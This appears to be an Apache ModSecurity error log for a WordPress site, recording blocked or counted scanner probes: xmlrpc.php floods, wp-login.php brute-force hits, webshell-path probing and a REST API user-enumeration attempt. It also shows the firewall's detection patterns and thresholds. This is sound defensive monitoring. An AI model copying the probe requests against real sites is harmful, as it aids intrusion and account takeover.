[Fri Apr 24 10:32:06.651204 2026] [:error] [pid 17808:tid 17827] [client 194.26.192.182:60373] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aerWJuarbOEFI8qshvI8YwAAAFE"]
[Fri Apr 24 10:32:07.166766 2026] [:error] [pid 22114:tid 22129] [client 194.26.192.182:60726] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aerWJ4AuWGz3WlMQjodqLwAAAQw"]
[Fri Apr 24 10:32:07.695562 2026] [:error] [pid 22114:tid 22132] [client 194.26.192.182:61113] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aerWJ4AuWGz3WlMQjodqSQAAAQ8"]
[Fri Apr 24 10:49:55.867401 2026] [:error] [pid 17719:tid 17749] [client 163.53.186.130:53615] [client 163.53.186.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.53.186.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeraU8TZ9gzEyL1BkPrLbwAAAJY"]
[Fri Apr 24 10:55:23.887603 2026] [:error] [pid 17720:tid 17773] [client 163.53.186.130:54663] [client 163.53.186.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.53.186.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aerbm-hlUs6BS3Ng7_W2CAAAANM"]
[Fri Apr 24 10:57:10.674697 2026] [:error] [pid 17720:tid 17774] [client 163.53.186.130:55074] [client 163.53.186.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.53.186.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aercBuhlUs6BS3Ng7_W21gAAANQ"]
[Fri Apr 24 10:58:10.877655 2026] [:error] [pid 17719:tid 17743] [client 137.184.189.141:42004] [client 137.184.189.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.189.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aercQsTZ9gzEyL1BkPrM_AAAAJA"]
[Fri Apr 24 10:58:12.646595 2026] [:error] [pid 17719:tid 17736] [client 137.184.189.141:42004] [client 137.184.189.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.189.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aercRMTZ9gzEyL1BkPrM_wAAAIk"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 10:59:10.439656 2026] [:error] [pid 17720:tid 17762] [client 163.53.186.130:55597] [client 163.53.186.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.53.186.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aercfuhlUs6BS3Ng7_W3gAAAAMg"]
[Fri Apr 24 11:00:43.258895 2026] [:error] [pid 22114:tid 22122] [client 163.53.186.130:56070] [client 163.53.186.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.53.186.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aerc24AuWGz3WlMQjod1DwAAAQU"]
[Fri Apr 24 11:21:30.933039 2026] [:error] [pid 17808:tid 17810] [client 190.113.250.193:46492] [client 190.113.250.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.113.250.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aerhuuarbOEFI8qshvJMTgAAAEA"]
[Fri Apr 24 11:50:43.233285 2026] [:error] [pid 17808:tid 17814] [client 136.243.158.98:48868] [client 136.243.158.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.243.158.98, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aerok-arbOEFI8qshvJi4AAAAEQ"]
[Fri Apr 24 11:50:45.105112 2026] [:error] [pid 17808:tid 17815] [client 136.243.158.98:48868] [client 136.243.158.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.243.158.98, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aerolearbOEFI8qshvJi5QAAAEU"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 12:01:01.164229 2026] [:error] [pid 17719:tid 17730] [client 209.126.9.214:60320] [client 209.126.9.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.126.9.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aerq_cTZ9gzEyL1BkPoDYgAAAIM"]
[Fri Apr 24 12:01:04.861400 2026] [:error] [pid 17808:tid 17818] [client 209.126.9.214:37322] [client 209.126.9.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.126.9.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aerrAOarbOEFI8qshvJtWgAAAEg"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 13:35:04.869276 2026] [:error] [pid 17808:tid 17826] [client 65.108.239.60:47528] [client 65.108.239.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.239.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aesBCOarbOEFI8qshvKTDwAAAFA"]
[Fri Apr 24 13:35:06.757246 2026] [:error] [pid 17808:tid 17817] [client 65.108.239.60:47528] [client 65.108.239.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.239.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aesBCuarbOEFI8qshvKTEgAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 13:42:42.026269 2026] [:error] [pid 17720:tid 17762] [client 182.42.105.144:47565] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aesC0uhlUs6BS3Ng7_Xr-gAAAMg"]
[Fri Apr 24 14:34:56.011978 2026] [:error] [pid 14531:tid 14545] [client 85.204.70.116:33114] [client 85.204.70.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.204.70.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesPEHfLU2gw-6KR-GZLZwAAAUw"]
[Fri Apr 24 14:34:59.929163 2026] [:error] [pid 14531:tid 14557] [client 85.204.70.116:33114] [client 85.204.70.116] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aesPE3fLU2gw-6KR-GZLbgAAAVg"]
[Fri Apr 24 14:35:01.843476 2026] [:error] [pid 14531:tid 14539] [client 85.204.70.116:33114] [client 85.204.70.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.204.70.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesPFXfLU2gw-6KR-GZLdQAAAUY"]
[Fri Apr 24 14:35:04.038144 2026] [:error] [pid 22114:tid 22118] [client 85.204.70.116:32842] [client 85.204.70.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.204.70.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesPGIAuWGz3WlMQjoerTAAAAQE"]
[Fri Apr 24 14:35:06.147251 2026] [:error] [pid 22114:tid 22121] [client 85.204.70.116:32846] [client 85.204.70.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.204.70.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesPGoAuWGz3WlMQjoerVAAAAQQ"]
[Fri Apr 24 14:35:08.310530 2026] [:error] [pid 17808:tid 17810] [client 85.204.70.116:32850] [client 85.204.70.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.204.70.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesPHOarbOEFI8qshvKpaQAAAEA"]
[Fri Apr 24 14:35:10.453580 2026] [:error] [pid 14531:tid 14552] [client 85.204.70.116:32858] [client 85.204.70.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.204.70.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesPHnfLU2gw-6KR-GZLiAAAAVM"]
[Fri Apr 24 14:35:10.453746 2026] [:error] [pid 14531:tid 14552] [client 85.204.70.116:32858] [client 85.204.70.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 85.204.70.116, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesPHnfLU2gw-6KR-GZLiAAAAVM"]
[Fri Apr 24 15:01:12.075628 2026] [:error] [pid 17808:tid 17820] [client 43.135.142.7:39580] [client 43.135.142.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aesVOOarbOEFI8qshvKwKAAAAEo"]
[Fri Apr 24 15:08:46.617228 2026] [:error] [pid 17720:tid 17764] [client 65.254.225.225:34860] [client 65.254.225.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aesW_uhlUs6BS3Ng7_X_mwAAAMo"]
[Fri Apr 24 15:08:48.464825 2026] [:error] [pid 17720:tid 17762] [client 65.254.225.225:34860] [client 65.254.225.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aesXAOhlUs6BS3Ng7_X_ngAAAMg"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 15:21:28.138032 2026] [:error] [pid 14531:tid 14536] [client 86.103.54.45:20972] [client 86.103.54.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.103.54.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesZ-HfLU2gw-6KR-GZhKAAAAUM"]
[Fri Apr 24 15:21:38.573540 2026] [:error] [pid 14531:tid 14552] [client 86.103.54.45:20385] [client 86.103.54.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.103.54.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesaAnfLU2gw-6KR-GZhPAAAAVM"]
[Fri Apr 24 15:21:49.421959 2026] [:error] [pid 14531:tid 14554] [client 86.103.54.45:20285] [client 86.103.54.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.103.54.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesaDXfLU2gw-6KR-GZhUwAAAVU"]
[Fri Apr 24 15:22:00.239420 2026] [:error] [pid 14531:tid 14544] [client 86.103.54.45:20655] [client 86.103.54.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.103.54.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesaGHfLU2gw-6KR-GZhZwAAAUs"]
[Fri Apr 24 15:22:11.025589 2026] [:error] [pid 17720:tid 17759] [client 86.103.54.45:20622] [client 86.103.54.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.103.54.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesaI-hlUs6BS3Ng7_UBogAAAMU"]
[Fri Apr 24 15:59:27.480354 2026] [:error] [pid 17720:tid 17760] [client 49.13.89.191:46774] [client 49.13.89.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.13.89.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aesi3-hlUs6BS3Ng7_UUTwAAAMY"]
[Fri Apr 24 15:59:30.259441 2026] [:error] [pid 17721:tid 17799] [client 49.13.89.191:46782] [client 49.13.89.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.13.89.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aesi4uFXXkLeyDnfk__x_QAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 16:11:32.219912 2026] [:error] [pid 17721:tid 17794] [client 104.244.79.40:33332] [client 104.244.79.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.79.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aesltOFXXkLeyDnfk__1RgAAAA0"]
[Fri Apr 24 16:11:33.854078 2026] [:error] [pid 17721:tid 17791] [client 104.244.79.40:33332] [client 104.244.79.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.79.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeslteFXXkLeyDnfk__1SgAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 16:23:08.383219 2026] [:error] [pid 14531:tid 14547] [client 43.131.23.154:60636] [client 43.131.23.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aesobHfLU2gw-6KR-GZ3HgAAAU4"]
[Fri Apr 24 16:33:45.255563 2026] [:error] [pid 17719:tid 17730] [client 209.126.9.214:46814] [client 209.126.9.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.126.9.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aesq6cTZ9gzEyL1BkPpzxwAAAIM"]
[Fri Apr 24 16:33:46.883000 2026] [:error] [pid 17719:tid 17733] [client 209.126.9.214:46814] [client 209.126.9.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.126.9.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aesq6sTZ9gzEyL1BkPpzywAAAIY"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 16:35:52.131748 2026] [:error] [pid 17720:tid 17762] [client 125.166.1.52:8322] [client 125.166.1.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.166.1.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesraOhlUs6BS3Ng7_UqRwAAAMg"]
[Fri Apr 24 16:36:02.370580 2026] [:error] [pid 22114:tid 22126] [client 125.166.1.52:32315] [client 125.166.1.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.166.1.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesrcoAuWGz3WlMQjoe_qQAAAQk"]
[Fri Apr 24 16:36:12.499644 2026] [:error] [pid 14531:tid 14537] [client 125.166.1.52:31793] [client 125.166.1.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.166.1.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesrfHfLU2gw-6KR-GZ7XQAAAUQ"]
[Fri Apr 24 16:36:23.150524 2026] [:error] [pid 17719:tid 17750] [client 125.166.1.52:29238] [client 125.166.1.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.166.1.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesrh8TZ9gzEyL1BkPp0TgAAAJc"]
[Fri Apr 24 16:36:34.149848 2026] [:error] [pid 17719:tid 17730] [client 125.166.1.52:1090] [client 125.166.1.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.166.1.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesrksTZ9gzEyL1BkPp0VgAAAIM"]
[Fri Apr 24 16:36:44.591630 2026] [:error] [pid 14531:tid 14538] [client 125.166.1.52:14380] [client 125.166.1.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.166.1.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aesrnHfLU2gw-6KR-GZ7gwAAAUU"]
[Fri Apr 24 16:44:57.261854 2026] [:error] [pid 17720:tid 17777] [client 159.89.165.161:59270] [client 159.89.165.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.165.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aestiehlUs6BS3Ng7_UvvgAAANc"]
[Fri Apr 24 16:44:58.936311 2026] [:error] [pid 17720:tid 17778] [client 159.89.165.161:59270] [client 159.89.165.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.165.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aestiuhlUs6BS3Ng7_UvwQAAANg"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 17:39:36.881764 2026] [:error] [pid 17720:tid 17772] [client 103.74.54.128:59900] [client 103.74.54.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.54.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aes6WOhlUs6BS3Ng7_VRhwAAANI"]
[Fri Apr 24 17:39:38.589644 2026] [:error] [pid 17720:tid 17760] [client 103.74.54.128:59900] [client 103.74.54.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.54.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aes6WuhlUs6BS3Ng7_VRjwAAAMY"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 18:03:48.058033 2026] [:error] [pid 4177:tid 4185] [client 20.203.169.80:30325] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wziar1.php"] [unique_id "aetABH2asKnvdrSe0x6ppgAAAYA"]
[Fri Apr 24 18:03:48.862576 2026] [:error] [pid 17808:tid 17822] [client 20.203.169.80:28789] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wziar1.php"] [unique_id "aetABOarbOEFI8qshvL8gAAAAEw"]
[Fri Apr 24 18:03:49.667999 2026] [:error] [pid 4177:tid 4191] [client 20.203.169.80:28479] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wziar1.php"] [unique_id "aetABX2asKnvdrSe0x6ppwAAAYY"]
[Fri Apr 24 18:03:50.655515 2026] [:error] [pid 14531:tid 14545] [client 20.203.169.80:45475] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wziar1.php"] [unique_id "aetABnfLU2gw-6KR-GaawgAAAUw"]
[Fri Apr 24 18:03:51.355726 2026] [:error] [pid 17720:tid 17755] [client 20.203.169.80:39313] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aetAB-hlUs6BS3Ng7_Vc2gAAAME"]
